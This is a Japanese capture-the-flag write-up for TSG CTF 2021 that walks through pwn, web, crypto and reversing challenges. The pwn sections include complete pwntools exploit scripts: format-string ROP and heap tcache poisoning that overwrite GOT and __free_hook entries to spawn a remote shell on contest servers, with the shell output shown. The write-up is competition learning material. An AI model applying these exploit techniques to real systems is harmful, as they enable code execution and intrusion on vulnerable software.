TSG CTF 2021 write-up

https://ctf.tsg.ne.jp/

https://score.ctf.tsg.ne.jp/

9問、1309点、17位。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/2663f9f4-3849-bef5-4b21-0c559c09f790.png)

![score.ctf.tsg.ne.jp_teams_632(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/126af586-e962-8472-a520-d28a9dbd98ef.png)

![score.ctf.tsg.ne.jp_challenges(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/4e0eb961-173c-07c1-8399-dbea09d4b6e3.png)

## Cooldown

### Survey (survey)

アンケート。

> なお、サーベイを 解いた時間 はランキングに影響しません！CTFdバックエンドなのに！（1ptは加算されます）

本家にこの機能は付いていないのか。

`TSGCTF{Thank_you_for_your_participation!}`

## Warmup

### Sanity Check (sanity)

Discord。画像付きで親切。

`TSGCTF{Tokyo2020_was_held_in_2021_so_TSGCTF2021_was_held_in_2020???}`

## Pwn

### Beginner's Pwn 2021 (beginner)

> pwnerはoff-bye-oneエラー使ってフラグが取れるって聞きました。

```chall.c
 :
int main(void) {
    char your_try[64]={0};
    char flag[64]={0};

    init();

    puts("guess the flag!> ");

    FILE *fp = fopen("./flag", "r");
    if (fp == NULL) exit(-1);
    size_t length = fread(flag, 1, 64, fp);

    scanf("%64s", your_try);

    if (strncmp(your_try, flag, length) == 0) {
        puts("yes");
        win();
    } else {
        puts("no");
    }
    return 0;
}
```

`"%64s"`で読み込むときには終端のNUL文字を含めて、65バイトのバッファが必要。`flag[0]`を`\0`にして空文字列にできる。

```
$ (python3 -c 'print("\0"*64)'; cat) | nc 34.146.101.4 30007
guess the flag!>
yes
ls -al
total 36
drwxr-xr-x 1 root user  4096 Oct  2 04:03 .
drwxr-xr-x 1 root root  4096 Oct  2 04:03 ..
-r-xr-xr-x 1 root user 17288 Oct  2 04:02 chall
-r--r--r-- 1 root user    46 Oct  2 04:02 flag
-r-xr-xr-x 1 root user    66 Oct  2 04:02 start.sh
cat flag
TSGCTF{just_a_simple_off_by_one-chall_isnt_it}
```

### Coffee (easy)

```coffee.c
#include <stdio.h>

int x = 0xc0ffee;
int main(void) {
    char buf[160];
    scanf("%159s", buf);
    if (x == 0xc0ffee) {
        printf(buf);
        x = 0;
    }
    puts("bye");
}
```

コードはこれで全部。

書式文字列攻撃。PIEは無効なので、スタック中に残っているアドレスをやりくりする必要も無い。これはeasy……かと思ったら、とても面倒。

シェルを取るためには、libcのアドレスのリークと、そのアドレスを利用した書き込みが必要なので、1回では無理。こういうときの定番の方法として、まずはGOTの`puts`のアドレスを`main`に書き換えて、`puts`の代わりに`main`が再度呼ばれるようにする。しかし、`x`が0になってしまうので、`printf`が呼び出されない。

スタックには`buf`しか無いから、`main`の代わりに`pop; ret`に飛ばして、return oriented programming（ROP）に持ち込めば良い。`buf`の先頭にROP用のアドレスを書くと、上位のNULバイトのせいで`printf`が止まってしまう。書式文字列攻撃部分の後にROP用のアドレスを書いて、書式文字列の分は`pop; pop; ...; pop; ret`で回避する。

後は普通のROPで、libcのアドレスをリークして、再度スタックバッファオーバーフロー……はできないから、GOTや`x`のあたりのアドレスを`rsi`に入れて、`scanf("%159s", ...)`のあたりに飛ばす。GOTの`printf`を`system`アドレスに書き換え、`x`に0xc0ffeeを書き込んで、バッファに`/bin/sh\0`を書き込んでおけば、`printf(buf)`が`system("/bin/sh")`になる。あ、`buf`は元の`buf`が使われるからダメだ。スタックもずれているから大変。One-gadget ROPの条件を満たしていたので、`system`の代わりにone-gadget ROPにして通った。

ちょくちょくアドレスに0x20が出てきてハマる。`scanf("%s", s)`は、NUL文字は読み込むけれど、空白文字で切れる。

```attack.py
from pwn import *

elf = ELF("coffee")
context.binary = elf

#s = remote("localhost", 7777)
s = remote("34.146.101.4", 30002)

# puts -> pop*7; ret
pop_ret = 0x401286
b0 = pop_ret&0xff
b1 = pop_ret>>8&0xff
payload = f"%{b0}c%10$hhn%{(b1-b0)&0xff}c%11$hhn!!!!".encode()
payload = payload.ljust(32, b"\0")
payload += pack(elf.got.puts)
payload += pack(elf.got.puts+1)

# printf(printf)
payload += pack(0x401293) # pop rdi
payload += pack(elf.got.printf)
payload += pack(elf.plt.printf)

# scanf("%159s", __stack_chk_fail)
payload += pack(0x401291) # pop rsi; pop r15
payload += pack(elf.got.puts)
payload += pack(0)
payload += pack(0x401294) # ret
payload += pack(0x4011be) # scanf("%159s", buf) ~

payload = payload.ljust(159, b"\0")

s.send(payload)
s.recvuntil("!!!!")
printf = unpack(s.recv(6)+b"\0\0")

libc = ELF("libc.so.6")
libc.address = printf-libc.symbols.printf

payload = b""
payload += b"/bin/sh\0"
payload += pack(libc.symbols.__stack_chk_fail)
payload += pack(libc.address+0xe6c81) # pack(libc.symbols.system)
payload += pack(libc.symbols.__isoc99_scanf)
payload += pack(0)
payload += pack(0)
payload += pack(0xc0ffee)
payload = payload.ljust(159, b"\0")
s.send(payload)

s.interactive()
```

```
$ python3 attack.py
[*] '/mnt/d/documents/ctf/tsgctf2021/Coffee/coffee'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 34.146.101.4 on port 30002: Done
[*] '/mnt/d/documents/ctf/tsgctf2021/Coffee/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-xr-x 1 root user  4096 Oct  2 05:08 .
drwxr-xr-x 1 root root  4096 Oct  2 05:08 ..
-r-xr-xr-x 1 root user 16824 Oct  2 04:02 coffee
-r--r--r-- 1 root user    29 Oct  2 04:02 flag-dcf095f41e7bf00fa7e7cf7ef2ce9083
-r-xr-xr-x 1 root user    86 Oct  2 04:02 start.sh
$ cat flag-dcf095f41e7bf00fa7e7cf7ef2ce9083
TSGCTF{Uhouho_gori_gori_pwn}
```

紆余曲折があったので、攻撃コードはもう少し綺麗に書き直せそうな気はする。`/bin/sh`とか使っていないし。面倒なのでやりません。

問題のコードはシンプルなのにこれだけ面倒になるのすごいな。

`TSGCTF{Uhouho_gori_gori_pwn}`

### cHeap (easy)

Coffeeとは対照的に、こちらは綺麗に解けた（と思う）。

ヒープ問題。

- 保持できるポインタが1個だけ
- Use after free可能
- Double free可能
- メモリのサイズに制限は無し
- メモリ確保時に先頭0x100バイトに書き込める
    - 確保したメモリのサイズが0x100バイト未満でも
    - ヒープバッファオーバフロー
- 編集機能は無し

何をするにも保持できるポインタが1個だけというのがネックになる。まずはサイズ0x420バイト以上のチャンクを解放してunsortedに入れ、libcのアドレスを得たいが、これも素直にはできない。確保して解放するだけだとtopに統合されてしまう。0x420バイトのチャンクを確保 → 統合を防ぐために適当なサイズの別のチャンクを確保 → 0x420バイトのチャンクを解放　ということができない。tcacheのdouble freeで攻撃しようにも、同じサイズのチャンクの確保と解放を繰り返すだけでは、同じチャンクを使い回すだけ。

チャンクのサイズを改竄する。

1. サイズXのチャンクAを確保して解放
1. チャンクAのサイズをYに改竄
1. `malloc(X)`を呼び出すとチャンクAが返ってくる
1. チャンクAを解放すると、サイズYのチャンクとして、unsortedやサイズYのtcacheに行く

という手を使う。

保持できるポインタは1個だけ問題が何とかなったので、unsortedに格納してlibcのアドレスをリーク → tcacheのリンクを書き換えて`__free_hook`のアドレスを返させ`system`のアドレスを書き込む　といういつもの流れ。

unsortedに格納するときのチェックは厳しくは無いが、次のチャンクのサイズがそれっぽい値になっている必要はある（大きすぎたりするとダメ）。事前に確保してチャンクの切れ目を置いておけば良い。libc 2.31だから、tcacheの個数の辻褄が合うように、1個余分なチャンクを入れておく必要がある。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("34.146.101.4", 30001)

def create(size, data):
  s.sendlineafter("Choice: ", "1")
  s.sendlineafter("size: ", str(size))
  s.sendlineafter("data: ", data)

def show():
  s.sendlineafter("Choice: ", "2")
  return s.recvline()[:-1]

def delete():
  s.sendlineafter("Choice: ", "3")

"""
+  0 290 tcache
+290  20 A
+2b0  30 B
+2e0 3e0 C
+6c0  40 D
+700  50 E
+750  60 F
+7b0  70 G
+820  80 H
+8a0
"""

create( 0x10, ""); delete()
create( 0x20, ""); delete()
create(0x3e0, ""); delete()
create( 0x30, ""); delete()
create( 0x40, ""); delete()
create( 0x50, ""); delete()
create( 0x60, ""); delete()
create( 0x70, ""); delete()

# Bのサイズを0x420に改竄して、Cと同一のチャンクにする
create(0x10, bytes(0x18)+pack(0x421))
create(0x20, "")
# サイズが0x420以上なのでunsortedに入る
delete()
unsorted = unpack(show().ljust(8, b"\0"))

libc = ELF("libc.so.6")
libc.address = unsorted-0x1ebbe0

# サイズを0x20に改竄して、HとFをtcacheに入れる
create(0x60, bytes(0x68)+pack(0x21))
create(0x70, "")
delete()
create(0x40, bytes(0x48)+pack(0x21))
create(0x50, "")
delete()
# tcache (0x20) -> F -> H

# Fのnextを__free_hookに
create(0x30, bytes(0x88)+pack(0x21)+pack(libc.symbols.__free_hook))
# tcache (0x20) -> F -> __free_hook
create(0x10, "")
# tcache (0x20) -> __free_hook

create(0x10, pack(libc.symbols.system))
create(0x10, "/bin/sh")
delete()

s.interactive()
```

```
$ python3 attack.py
[+] Opening connection to 34.146.101.4 on port 30001: Done
[*] '/mnt/d/documents/ctf/tsgctf2021/cHeap/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls -al
total 2020
drwxr-xr-x 1 root user    4096 Oct  2 14:36 .
drwxr-xr-x 1 root root    4096 Oct  2 14:36 ..
-r-xr-xr-x 1 root user   17408 Oct  2 04:02 cheap
-r--r--r-- 1 root user      45 Oct  2 04:02 flag
-r-xr-xr-x 1 root user 2029224 Oct  2 04:02 libc.so.6
-r-xr-xr-x 1 root user      56 Oct  2 04:02 start.sh
$ cat flag
TSGCTF{Heap_overflow_is_easy_and_nice_yeyey}
```

`TSGCTF{Heap_overflow_is_easy_and_nice_yeyey}`

## Web

### Welcome to TSG CTF! (beginner, easy)

> First of all, test your luck by rolling this <i>flag-dice</i>!

```index.html
 :
  <form id="form" oninput="result.textContent = ''">
    <input name="guess" type="text" placeholder="TSGCTF{...">
    <button type="submit">Guess the flag</button>
  </form>
  <p id="result"></p>
  <script>
    form.onsubmit = async (event) => {
      event.preventDefault();
      const guess = new FormData(form).get('guess');
      const res = await fetch('/', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({[guess]: true}),
      });
      result.textContent = await res.text();
    };
  </script>
 :
```

```app.js
const {promises: fs} = require('fs');
const fastify = require('fastify');

const flag = process.env.FLAG || 'DUMMY{DUMMY}';

const app = fastify();
app.get('/', async (_, res) => {
    res.type('text/html').send(await fs.readFile('index.html'));
});
app.post('/', (req, res) => {
    console.dir(req.body);
    if (typeof req.body === 'object' && req.body[flag] === true) {
        return res.send(`Nice! flag is ${flag}`);
    }
    return res.send(`You failed...`);
});

app.listen(34705, '0.0.0.0');
```

どういうことかというと、めっちゃ運が良くて、フォームに入力した文字列がたまたまフラグだったら`req.body[flag]`に`true`が入っていると解けると。できるわけないだろ :anger: 

ちゃんと考えたわけではなく、適当にガチャガチャやってたら解けた。

```
$ curl http://34.84.69.72:34705/ -H "content-type: application/json" -d "null"
{"statusCode":500,"error":"Internal Server Error","message":"Cannot read property 'TSGCTF{M4king_We6_ch4l1en9e_i5_1ik3_playing_Jenga}' of null"}
```

なるほど。

```
$ node
Welcome to Node.js v14.17.0.
Type ".help" for more information.
> x = null
null
> x["hoge"]
Uncaught TypeError: Cannot read property 'hoge' of null
```

「ユーザーには詳細なエラーは返さないようにしましょう」というの、意味があるんだな。

`TSGCTF{M4king_We6_ch4l1en9e_i5_1ik3_playing_Jenga}`

### Beginner's Web 2021 (beginner, hard)

1 solvesの問題が解けて、とても嬉しい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/2e859f1c-b1ff-6ba7-b4e8-3454c315cb95.png)

```app.js
const {promises: fs} = require('fs');
const crypto = require('crypto');
const fastify = require('fastify');

const app = fastify();
app.register(require('fastify-cookie'));
app.register(require('fastify-session'), {
    secret: Math.random().toString(2),
    cookie: {secure: false},
});

const sessions = new Map();

const setRoutes = async (session, salt) => {
    const index = await fs.readFile('index.html');

    session.routes = {
        flag: () => '*** CENSORED ***',
        index: () => index.toString(),
        scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),
        base64: (input) => Buffer.from(input).toString('base64'),
        set_salt: async (salt) => {
            session.routes = await setRoutes(session, salt);
            console.dir(salt);
            session.salt = salt;
            return 'ok';
        },
        [salt]: () => salt,
    };

    return session.routes;
};

app.get('/', async (request, reply) => {
    if (!sessions.has(request.session.sessionId)) {
        sessions.set(request.session.sessionId, {});
    }

    const session = sessions.get(request.session.sessionId);

    if (!session.salt) {
        session.salt = '';
    }
    if (!session.routes) {
        await setRoutes(session, '');
    }

    console.dir(request.query);
    const {action, data} = request.query || {};

    let route;
    switch (action) {
        case 'Scrypt': route = 'scrypt'; break;
        case 'Base64': route = 'base64'; break;
        case 'SetSalt': route = 'set_salt'; break;
        case 'GetSalt': route = session.salt; break;
        default: route = 'index'; break;
    }

    reply.type('text/html')
    return session.routes[route](data);
});

app.listen(59101, '0.0.0.0');
```

何をやっているのか、こんがらがる。整理すると、

- `session.routes["flag"]()`を実行できれば勝ち
- これが可能はパスは1個しかなくて、`action="GetSalt"`かつ`session.salt="flag"`
- `session.salt`に値を代入可能なパスも`SetSalt`しかない
- ただし、このときに`session.routes[salt] = () => salt`も行われる

解法。次のURLを順番に開くと解ける。

- http://34.84.69.72:59101/?action=SetSalt&data=flag
- http://34.84.69.72:59101/?action=SetSalt&data=then
- http://34.84.69.72:59101/?action=GetSalt 

コンテスト終了と同時に作問者が、URLを手打ちしたり開発者ツールを使ったりすることすらなく、フォームをポチポチして解く動画をDiscordに貼っていた。これはbeginner向け……なのかもしれない。

```app.js
 :
session.routes = await setRoutes(session, salt)
 :
```

の`await`が鍵。

```test.js
async function test() {
  console.dir(await "hoge");
  console.dir(await {then: "hoge"});
  console.dir(await {then: () => "hoge"});
  console.dir("ok")
}
test();
```

```
$ node test.js
'hoge'
{ then: 'hoge' }
```

オブジェクトに`then`という関数があると、`await`が返ってこなくなる。これによって、（`setRoutes`の内部でも代入しているので）`session.routes`には`{flag: () => "FLAG", ..., then: () => then}`が代入され、`session.salt`が`"flag"`のままという状態になる。

最初は、

```app.js
 :
    if (!session.routes) {
        await setRoutes(session, '');
    }
 :
```

を初回以外にも何とか実行させられないかと考えていたけど、無理だった。JavaScriptでは、`{}`すらtruthy。

> `document.all` は JavaScript からアクセスすることができる唯一の値が偽となるオブジェクトです。

https://developer.mozilla.org/ja/docs/Web/API/Document/all#conversion_to_boolean

へー。

`TSGCTF{You_pR0ved_tHaT_you_knOW_tHe_6451C5_of_JavAsCriP7!_G0_4Nd_s0LvE_Mor3_wE6!}`

## Crypto

### Beginner's Crypto 2021 (beginner)

```beginners_crypto_2021.py
from secret import e
from Crypto.Util.number import getStrongPrime, isPrime

p = getStrongPrime(1024)
q = getStrongPrime(1024)
N = p * q
phi = (p - 1) * (q - 1)

with open('flag.txt', 'rb') as f:
    flag = int.from_bytes(f.read(), 'big')

assert(isPrime(e))
assert(isPrime(e + 2))
assert(isPrime(e + 4))

e1 = pow(e, 0x10001, phi)
e2 = pow(e + 2, 0x10001, phi)
e3 = pow(e + 4, 0x10001, phi)

c1 = pow(flag, e1, N)
c2 = pow(flag, e2, N)
c3 = pow(flag, e3, N)

print(f'p = {p}')
print(f'q = {q}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'c3 = {c3}')
```

$e$も$e+2$も$e+4$も素数。$x$も$y=x+2$も素数ならば、$x$と$y$は双子素数と呼ばれる。こういうのは三つ子素数と呼んだりするのかな？　とググって見たら、三つ子素数とは、$(p, p+2, p+6)$もしくは$(p, p+4, p+6)$らしい。

https://ja.wikipedia.org/wiki/%E4%B8%89%E3%81%A4%E5%AD%90%E7%B4%A0%E6%95%B0

> なお、双子素数は「2つの素数の組$(p, p + 2)$」と定義されるのに対し、3つの素数の組である三つ子素数を「$(p, p + 2, p + 4)$」と定義<b>していない</b>。
> この形は$(3, 5, 7)$のみであるからと、$p$が5以上の素数の場合、「$(p+2, p+4)$」のいずれかが<b>必ず3の倍数になる</b><sup>[1]</sup>からである。

あ……。ということで、$e=3$。

`p`と`q`も分かっているので素直に解けるかと思ったけど、$e$として実際に使われる$e^{0x10001}$などが`phi`と互いに素ではない。どうするんだっけ……。同一の平文を異なる$e$で暗号化した暗号文が手元にあることを利用して解いた。

```solve.py
p = 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
q = 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
c3 = 3193069356811106774640161554961405075257002069448498144279061282023129342916422283816661697787316681475161942522570615456264481238277711114193792510286127129056376618422336477707825009085263623755329815306483253646072909132096678270667136193038337386976289222105363398033633185639402128949635525665502328717781718263894690234837016959581149138917064108193064639981137359869717065147934752707676203651598070046066514316196771853484143158367616177332902152347890310640338106015356361617700741042461419248117687350565094928451141103632305400493998164788411031832078388030194992306440474662871408938796429927990102583837

from Crypto.Util.number import *

N = p*q
phi = (p-1)*(q-1)
e = 3
e1 = pow(e, 0x10001, phi)
e2 = pow(e+2, 0x10001, phi)

import sys
sys.setrecursionlimit(1000000)

def gcd(c1, c2, e1, e2):
  if e1<e2:
    return gcd(c2, c1, e2, e1)
  if e1==1:
    return c1
  return gcd(c1*pow(inverse(c2, N), e1//e2, N)%N, c2, e1%e2, e2)
flag = gcd(c1, c2, e1, e2)
print(long_to_bytes(flag).decode())
```

```
$ python3 solve.py
TSGCTF{You are intuitively understanding the distribution of prime numbers! Bonus: You can solve this challenge w/ N instead of p and q!}
```

`TSGCTF{You are intuitively understanding the distribution of prime numbers! Bonus: You can solve this challenge w/ N instead of p and q!}`

### Minimalist's Private (easy)

コンテスト中には解けなかった。あと数時間あれば……。

> 小さいことはいいことだ。私もプライベートでは不要なもの全て手放しているよ。

```encrypt.py
from Crypto.Util.number import isPrime
from random import randrange
from secret import p, q, L, e, d

class RSA:
    def __init__(self, p, q, L, e, d):
        assert(isPrime(p) and isPrime(q))
        self.N = p * q
        self.L = L
        self.e = e
        self.d = d

        # these are the normal RSA conditions
        for _ in range(100):
            assert(pow(randrange(1, self.N), self.L, self.N) == 1)
        assert(self.e * self.d % self.L == 1)

        # minimal is the best
        assert(self.L * self.L <= 10000 * self.N)

    def gen_private_key(self):
        return (self.N, self.d)

    def gen_public_key(self):
        return (self.N, self.e)

    def encrypt(self, msg):
        return pow(msg, self.e, self.N)

    def decrypt(self, c):
        return pow(c, self.d, self.N)

flag = open('flag.txt', 'rb').read()
msg = int.from_bytes(flag, byteorder='big')
assert(msg < p * q)

rsa = RSA(p, q, L, e, d)
encrypted = rsa.encrypt(msg)
assert(rsa.decrypt(encrypted) == msg)

print(f'N, e = {rsa.gen_public_key()}')
print(f'c = {encrypted}')
```

何が小さいかというと`L`が小さい。これはRSA暗号の$\phi$で、普通は$N$程度の大きさ。

$\phi = lcm(p-1, q-1)$なので、これが小さいということは、$p-1$と$q-1$は大きな共通の素因数$r$を持つはず。$p-1 = p'r$、$q-1 = q'r$とすると、$N = p'q'r^2+(p'+q')r+1$。これはmodの世界の話ではないので、普通に解ける。$p'$と$q'$は小さいので総当たり。

```solve.py
N, e = (1108103848370322618250236235096737547381026108763302516499816051432801216813681568375319595638932562835292256776016949573972732881586209527824393027428125964599378845347154409633878436868422905300799413838645686430352484534761305185938956589612889463246508935994301443576781452904666072122465831585156151, 65537)
c = 254705401581808316199469430068831357413481187288921393400711004895837418302514065107811330660948313420965140464021505716810909691650540609799307500282957438243553742714371028405100267860418626513481187170770328765524251710154676478766892336610743824131087888798846367363259860051983889314134196889300426

import math
from Crypto.Util.number import inverse, long_to_bytes

for pp in range(1, 10000):
  print(pp)
  for qq in range(1, pp):
    if math.gcd(pp, qq)==1:
      r = 0
      b = 2**1024
      while b>0:
        if pp*qq*(r+b)**2+(pp+qq)*(r+b)+1<=N:
          r += b
        b //= 2
      if pp*qq*r**2+(pp+qq)*r+1==N:
        p = pp*r+1
        q = qq*r+1
        break
  else:
    continue
  break

print("p:", p)
print("q:", q)

L = (p-1)*(q-1)//math.gcd(p-1, q-1)
d = inverse(e, L)
flag = pow(c, d, N)
flag = long_to_bytes(flag).decode()
print(flag)
```

```
$ python3 solve.py
1
2
3
 :
513
514
p: 209314885732981774875871410919660551414001873128684044404723901493175356350204050567770264486129851004658117680885859048412286487753595306399630741080997
q: 5293956253947009870401417007695694880120669942943370772882122022200933137261970150546718751594723858094466011384272699668015027900382760667694940922283
TSGCTF{Roll_Safe:_You_c4n't_be_exploited_1f_you_are_a_minimali5t_enough_and_y0u_don't_have_any_s3crets_in_your_mind}
```

`TSGCTF{Roll_Safe:_You_c4n't_be_exploited_1f_you_are_a_minimali5t_enough_and_y0u_don't_have_any_s3crets_in_your_mind}`

## Reversing

### Beginner's Rev 2021 (beginner)

> これは初心者もターゲットとしたrev問題です．
> もしかしたら初めてrev問題を解く方には少し難しいかもしれないので，簡単なヒントをさしあげます．歴戦のプレイヤーの方は読み飛ばしてください．
> 1. まずはプログラムを実行しましょう．フラグに関するちょっとした情報が手に入るはずです．
> 2. <a href="https://ghidra-sre.org/">ghidra</a>を知っていますか? プログラムの挙動を理解するには，静的解析をする必要がありそうです．
> 3. といっても，静的解析に時間をかけすぎないでください．大体の挙動がわかったら，<strong>様々な</strong>ツールを使って動的解析をしてみることをおすすめします．

ふむ……。

とりあえずGhidraで見てみると、32文字のフラグを受け付けて、スレッドを（親スレッドも含めて）32個生成し、各スレッドが`is_correct(flag[i], i)`を呼び出している。`is_correct`は静的解析する気にはならない面倒な関数。マルチスレッドのせいかangrはダメだった。

1文字ずつ総当たりすれば良いだろと、ためしにGDBで`is_correct`を呼んでみたら、不穏な警告が出てきた。

```
gdb-peda$ call (int)is_correct(0x54, 0)
This function may not work properly with a debugger.$1 = 0x0
```

この警告は、`is_correct`が`check`関数の0x5fバイト目から呼び出されているか（正確には戻り先）をチェックしている。このチェックを潰すのは簡単だけど、良く見ると警告を出しているだけで何もしていない。最後のほうで、この`check`関数の何バイト目から呼び出されたかを計算式に加えていた。

```beginners_rev.txt
 :
0000000000001280 <is_correct>:
    1280:   f3 0f 1e fa             endbr64 
    1284:   41 54                   push   r12
    1286:   41 89 f4                mov    r12d,esi
    1289:   55                      push   rbp
    128a:   89 fd                   mov    ebp,edi
    128c:   53                      push   rbx
    128d:   48 8b 74 24 18          mov    rsi,QWORD PTR [rsp+0x18]
    1292:   48 8d 1d d7 1e 00 00    lea    rbx,[rip+0x1ed7]        # 3170 <check>
    1299:   48 89 f0                mov    rax,rsi
    129c:   48 29 d8                sub    rax,rbx
    129f:   48 83 f8 5f             cmp    rax,0x5f
    12a3:   74 22                   je     12c7 <is_correct+0x47>
 :
```

を

```beginners_rev2.txt
 :
0000000000001280 <is_correct>:
    1280:   f3 0f 1e fa             endbr64 
    1284:   41 54                   push   r12
    1286:   41 89 f4                mov    r12d,esi
    1289:   55                      push   rbp
    128a:   89 fd                   mov    ebp,edi
    128c:   53                      push   rbx
    128d:   48 8b 74 24 18          mov    rsi,QWORD PTR [rsp+0x18]
    1292:   48 8b de                mov    rbx,rsi
    1295:   48 83 eb 5f             sub    rbx,0x5f
    1299:   90                      nop
    129a:   90                      nop
    129b:   90                      nop
    129c:   90                      nop
    129d:   90                      nop
    129e:   90                      nop
    129f:   90                      nop
    12a0:   90                      nop
    12a1:   90                      nop
    12a2:   90                      nop
    12a3:   eb 22                   jmp    12c7 <is_correct+0x47>
 :
```

と書き換えて、どこから呼ばれても`check`関数の0x5fバイトから呼ばれたかのような挙動にする。

あとは総当たり。Shared objectではないからか、`dlsym`でアドレスが取れなかったので、自分で設定。正しくはどうすれば良いのだろう。

```solve.c
#include <stdio.h>
#include <dlfcn.h>

int main()
{
    void *h = dlopen("./beginners_rev2", RTLD_LAZY);
    //int (*is_correct)(int, int) = dlsym(h, "is_correct");
    int (*is_correct)(int, int) = (void *)(*(long *)h + 0x1280);
    char flag[0x21] = {};
    for (int i=0; i<0x20; i++)
        for (int j=0; j<256; j++)
            if (is_correct(j, i))
                flag[i] = j;
    puts(flag);
}
```

```
$ gcc -o solve solve.c -ldl
$ ./solve
TSGCTF{y0u_kN0w_m@ny_g0od_t0015}
```

`TSGCTF{y0u_kN0w_m@ny_g0od_t0015}`